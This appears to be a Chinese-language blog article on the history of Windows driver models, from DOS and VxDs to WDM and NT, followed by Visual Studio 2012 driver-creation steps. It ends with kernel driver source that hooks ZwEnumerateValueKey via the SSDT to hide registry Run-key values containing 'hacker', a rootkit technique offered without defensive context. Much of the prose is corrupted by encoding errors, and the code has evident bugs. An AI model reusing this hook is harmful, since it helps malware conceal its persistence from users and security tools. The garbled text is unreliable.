Windows 驱动程序的发展演变
我们在学习开发驱动程序时有必要弄清楚Windows设备驱动程序的发展演变过程(为了简便起见,以下简称驱动程序),以便明白我们将要开发什么样的驱动程序。这就象你开发一个应用程序时必须弄清楚它是运行在WINDOWS平台下还是在DOS平台下,否则我们能写出什么样的应用程序就可想而知了。
驱动程序开发者的各项任务之中,有许多是为特定的硬件编写驱动程序。由于WINDOWS的发展,这样的工作在 Windows 9X 下要比在前一版Windows(windows3.x 、Windows Workgroup) 中容易得多。先了解一些历史演变,可能会对驱动程序的编写有所帮助。
实模式Windows(Real-Mode Windows)
从一开始,MS-DOS 和系统基本输入输出系统(BIOS) 就已经提供了许多硬件设备的驱动程序。BIOS 通过一些常用的软件中断,开放出驱动程序的服务 ,像INT 10h 是显示系靳中断,INT 13h是磁盘子系靳中断,INT 16h 是键盘中断等等。BIOS 也处理硬件中断,并承担对“可编程中断控制器”(Programmable Interrupt Controller ,PIC )的管理任务。MS-DOS 也通过软件中断(如 INT 21h 、INT 25h 、INT 26h )提供了系统服务 ,并提供一个机制(CONFIG.SYS 中的 device= 语句),让新的或强化后的驱动程序能?蛟谙到y启动时被加载进操作系统内核。
标准模式Windows(Standard-Mode Windows)
早期的 Windows 中,MS-DOS 和 BIOS 是最重要的。Windows运行在实模式状态中,这时的Windows充其量不过是一个强化后的MS-DOS图形用户界面而已。从系统角度看,Windows只不过是个大的图形应用程序。Intel 80286 的出现,使 Windows能?蛟诒;つJ街性诵胁⒒竦酶叽? 16MB 实际内存空间。依靠保护模式和实模式的转换,Windows 仍然继续使用MS-DOS 和 BIOS 提供的服务来完成所有的系统需求。这种运作模式被称为 Windows标准模式(Windows standard mode) 。在 80286 机器上切换实模式和保护模式,系统开销很大。Intel 于是提供了一个快又有效率的指令,让你从实模式切换到保护模式。但Intel 认为没有什么人还需要再从保护模式切换回实模式。结果,唯一能?蛉帽;つJ匠绦颍ㄈ? Windows standard mode )存取实模式软件(如 MS-DOS )的方法就是复位CPU(reset CPU) 。在人们开发出来的各种复位方法中,最普遍的一种就是触发键盘控制器,提供由 Ctrl-Alt-Delete 键所发出的外部信号。于是引发所谓的三键失效(triple fault,即三键热启动),这是 CPU 先天无法处理的一种“失效“。事实上无论哪一种作法,代价都很昂贵,因为它们至少都得经过 BIOS 的引导程序 。事实上,在某些 286 机器,模式的切换要花掉好几毫秒。显然 Windows 需要一种方法,避免每次一有事件发生,像是键盘被按下或鼠标移动等等,就得切换到实模式。解?Q方法就是写一个保护模式驱动程序,可以在保护模式中处理 I/O 中断。这些驱动程序直到今天我们都还在使用,你在 SYSTEM 子目录中看到的扩展名为 .DRV 的文件都是!包括 MOUSE.DRV 、COMM.DRV 等等。我把它们称为 ring3 DLL 驱动程序,因为它们实质上都是 16 位 Windows 动态链接库(DLLs ),在 ring3层 (Intel CPU 最不受保护的层,一般应用程序运行在ring3层,核心态的驱动程序动行在ring0层)执行。它们的任务是在不离开 CPU保护模式的前提下,和 Windows KERNEL 、USER 、GDI 模块之间形成接口。
增强模式Windows(Enhanced-Mode Windows )
Intel 80386 CPU 使 Windows的第三种操作模式(所谓的 enhanced mode)成为可能。在此模式中 Windows 采用分页(paging) 和虚拟86(V86) 特性,创造出??拟机器(VirtualMachines ,VMs )。对一个应用程序而言,VM 就像一独立的的个人电脑,独自拥有自己的键盘、鼠标、显示器等等硬件。而实际上,经过所谓的??拟化(virtualization ),数个 VMs 共享相同硬件。对最终用户而言,最大的好处是他现在能?蛟诖翱谧刺?中(而非全屏幕)运行MS-DOS程序 。"??拟化"是 VxDs 的工作。VxD 的名称来自于 "virtual x device",意思是此驱动程序用来??拟化某个(x )设备。例如:VKD用来??拟化键盘,使Windows 和任何一个MS-DOS程序都自认为独立拥有属于自己的键盘。VMD 用来??拟化鼠标。某些 VxDs 并不是为了??拟化某些硬件,而是为了提供各种底层系统服务。页面交换(PAGESWAP) 和 页面文件(PAGEFILE)就属于这种非设备VxD ,它们共同管理交换文件(swap file ),使 增强模式Windows (enhanced-modeWindows) 得以将磁盘空间分配成为??拟内存的一部份。尽管基础技术令人耳目一新,但增强模式Windows (enhanced-mode Windows )还是继续在磁盘和文件 I/O 方面使用 MS-DOS 和 BIOS 。需要交换(swap )一个文件时,它还是把 CPU 切换到 V86 模式,让 MS-DOS 和 BIOS 来处理 I/O 操作。在保护模式、真实模式、V86 模式之间的所有切换动作都使得 Windows 慢下来。更多
的延时则来自于MS-DOS 和 BIOS 不可重入这一问题(即不能两个程序同时使用相同的服务)。Windows 必须强迫所有应用程序在同一个队列等待实模式服务。
Windows95
Windows 95 将终结这一份对历史的回忆。Windows 95 使用数种不同的驱动程序模型,大部份是使用 32 位 ring0层的虚拟设备驱动程序(VxDs) ,而非 rin3层的 DLLs 。所有的设备驱动程序都有一个具有管理功能的核心虚拟机VMM(虚拟机管理器)管理。
Windows对中断的处理与MS-DOS大不一样。当中断发生时,处理器转换为ring0级保护模式。Windows系统并不像MS-DOS那样通过中断描述符表IDT(Interrupt Descriptor Table)直接指向中断处理过程,而是由IDT入口指向VMM中的程序。该程序将判断是否为中断调用,如果是,则把中断控制权交给虚拟可编程中断控制器VPICD(Virtual Programmable Interrupt Controller Device),VPICD实际上是一个重要的VxD。VPICD再将其交给另一个注册了该中断的VxD(如Audcard.vxd)来处理。VxD程序是通过调用VPICD服务VPICD_Virtualize_IRQ来注册中断的。
Windows 95 对于设备 (device) 的处理,一般的模型是:由一个 VxD 掌管所有中断并执行所有数据传输,应用程序则使用函数调用 (function calls) 的方式对 VxDs 发出服务请求。这种VxD 为主的设备规划模型的一个好例子就是:Windows 95 的串行通信(serial communications) 。从前 Windows的串行通讯是使用一个 ring3 驱动程序(COMM.DRV ),?群?硬件中断处理程序以及驱动一个通用异步收发蕊片(universal asynchronous receiver-transmitter (UART )蕊片)所需的全部逻辑功能代码。在未让此驱动程序知道的情?r下,两个 VxDs (VCD 和COMBUFF )拦截了硬件中断和软件 IN/OUT 指令,为的是??拟化每一个 port ,并且改善因多任务而引起的问题。Windows 95 也有一个 ring3 组件名为 COMM.DRV ,但这个组件已经成为新的VxD (VCOMM )的一个简单的外层程序,只用来提供 16 位程序和 VCOMM之间的接口。VCOMM 则处于底层,联结一般应用程序、VxD clients 、 VxD 端口驱动程序和实际的硬件。端口驱动程序现在负责处理所有中断,并执行真正与硬件起作用的 IN/OUT 指令。
Windows 95 文件系统是另一个好例子。过去,对文件系统服务的请求(requests ),源自于16 位保护模式程序所发出的 INT 21h 。有一个 VxD 用来处理这些 INT 21h ,并将它们切换到 V86 模式,以便让MS-DOS 处理。MS-DOS 发出 INT 13h中断 ,以请求使用 BIOS 的磁盘 I/O 功能;发出 INT 2Fh ,允许网络的 "redirector modules"(重新定向模块)将此请求通过网络传输出去。Windows 95 提供给应用程序的,仍是向上兼容的接口,INT 21h 仍旧是导至文件系统的动作,但是底层基础却大不一样。
在 Windows 95 之中,一个名为“可安砚文件系统“(Installable File System ,IFS )的管理器会处理所有 INT 21h ,甚至是来自于 V86 模式的。然后它把控制权交斤一个文件系统驱动程序(File System Driver ,FSD )。有一个 FSD 名为 VFAT ,是针对 MS-DOS
文件系统(所谓 File Allocation Table ,FAT )而设计;另一个 FSD 名为 CDFSD ,可以解析 CD-ROM 格式;此外还有其他 FSDs ,知道如何经由各种网络彼此通讯。针对本机(local 端)FSD (如VFAT )的磁盘操作,会经过被I/O管理器(Input/Output Supervisor ,IOS)监视管理的一堆VxDs处理。甚至 V86 模式的 INT 13h 中断调用最终也是由 IOS 处理。换句??真,实模式和保护模式所发出的对文件系靳的请求(request ),不论是针对本地(local )或远程(remote )磁盘,有可能完全(或几乎完全)由 VxDs 来处理。Windows 95 这种以 VxD 为中心的驱动程序模型,好处之一是,系统程序员不一定要是 MS-DOS 和 BIOS 的专家,就可以写驱动程序。那些准备提供系统扩展组件的程序员,也同享这个好处;原本你必须了解DOS保护模式接口(DPMI)以及 Windows 核心模块的许多神秘特性或未公开特性,现在只需了解 Win32 的 DeviceIoControl API 函数,以及那些支持所谓 "alertable waits”(即时唤醒,大意是那些可以在VXD中调用的Windows 32位 API函数,但数量极其有限,)的 Win32 API 即可。这两个接口可以让你把 VxD 当做 32 位应用程序的扩展组件。尽管Windows系统驱动程序设计的任务主要是在系统底层上扩展 Windows 的功能,但Windows 95 还是保留了令人印象深刻的向上兼容能力(对上层程序,如dos程序来说,它们的调用接口没变,但底层实际操作却大不一样了)。DPMI 还是存在(有些16 位程序还是需要它),你还是可以运行实模式的网络驱动程序或文件系统驱动程序--如果这是你的必要选择。事实上,你往往可以把 Windows 3.1 的一整组硬件设备、网络驱动程序、16 位应用程序及其必要的 VxDs 整个搬到 Windows 95 ,不至于遭遇什么大问题。
Windows98&2k&NT
1996年的Windows Hardware Engineering Conference(WinHEC)会议上,Microsoft宣布了一种新的Windows设备驱动程序模型――Win32 Driver Model(WDM)。这种新的设备驱动程序模型将成为Windows 2000(即Windows NT 5.0)的核心。
这个消息令从事Windows设备驱动程序(VxD)开发的程序员感到沮丧(虽然大家早已预料到Windows系列与Windows NT系列最终将走到一起)。WDM将vxd的开发人员带到了一个新的起点上,什么都是新的:新的模式,新的观点。如果你曾看过DDK的汇编代码的话,你一定可以体会这个消息对VxD开发者是个沉重的打击,而对于Windows NT设备驱动程序(Kernel Mode Driver)的开发者来说,却是另一番心情――因为WDM基本等于Kernel Mode Driver+Plug and Play。
VxD将让位于WDM,现在令我们欣慰的是Microsoft宣布Windows 98(Windows 98支持VxD,推荐使用WDM方式驱动,但有些设备,如打印机等还不能用它,微软预先设想的是Windows98和Windows 2k x86版在WDM驱动上可以二进制码兼容,但实际上没有完全实现)可能会坚持到200X年(天知道,估计也就是三两年)。在这期间,掌握VxD技术的你还是可以主动要求老板给你加薪的。即使到了WDM一统天下之时,也不用灰心,因为无论是VxD还是WDM,都要求开发人员对计算机硬件有着全面而细致的了解。通过VxD的锻炼,你至少熟悉了计算机的硬件资源并对保护模式有了比较深刻的认识,这些东西都是将来从事WDM开发的硬功夫。
好了,该说说Windows NT了。在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
2.看见满目的驱动开发模板
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
4.创建一个驱动程序,KMDF DriverMVP
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
6.按下F5,选择驱动编译,
插入下列代码实现隐藏注册表,请见代码分析
#include <ntddk.h> extern NTSYSAPI NTSTATUS NTAPI ObQueryNameString( IN PVOID Object, OUT POBJECT_NAME_INFORMATION ObjectNameInfo, IN ULONG Length, OUT PULONG ReturnLength ); extern NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); //声明原有的函数 typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); //定义原函数的指针 REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey; //我们HOOK的函数 NTSTATUS HookZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); PCWSTR HideValue = L"hacker"; // SYSTEMSERVICE 的定义 typedef struct ServiceDescriptorEntry { unsigned int * ServiceTableBase; // 关键字段, 指向系统服务分发例程的基地址 unsigned int * ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char * ParamTableBase; } ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] PVOID GetPointer( HANDLE handle ) { PVOID pKey; if(!handle) return NULL; // ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针 if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS ) { pKey = NULL; } return pKey; } NTSTATUS HookZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ) { PVOID pKey; UNICODE_STRING *pUniName; ULONG actualLen; ANSI_STRING keyname; NTSTATUS status; UNICODE_STRING uStrValueName; PCWSTR ValueName; status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))( KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength ); //得到文件对象的指针 if(pKey = GetPointer( KeyHandle)) { //分配内存 pUniName = ExAllocatePool(NonPagedPool, 1024*2); pUniName->MaximumLength = 512*2; //将pUniName里的内容清空 memset(pUniName,0,pUniName->MaximumLength); //得到注册表项的路径 if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen))) { RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE); keyname.Buffer=_strupr(keyname.Buffer); //判断是不是Run项 if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0) { switch (KeyValueInformationClass) { case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name; break; case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATION ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name; break; } //判断ValueName里的值是否有hacker //如果有则将函数返回STATUS_ACCESS_DENIED if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL)) { DbgPrint("Hide Value\n"); RtlFreeAnsiString(&keyname); //释放内存 if(pUniName) { ExFreePool(pUniName); } return STATUS_ACCESS_DENIED; } } } } status = RealZwEnumerateValueKey(KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength); if(pUniName) { ExFreePool(pUniName); } return(status); } VOID DriverUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("驱动已经停止了\n"); (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey; } NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { DbgPrint("驱动已经加载了\n"); RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)); (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }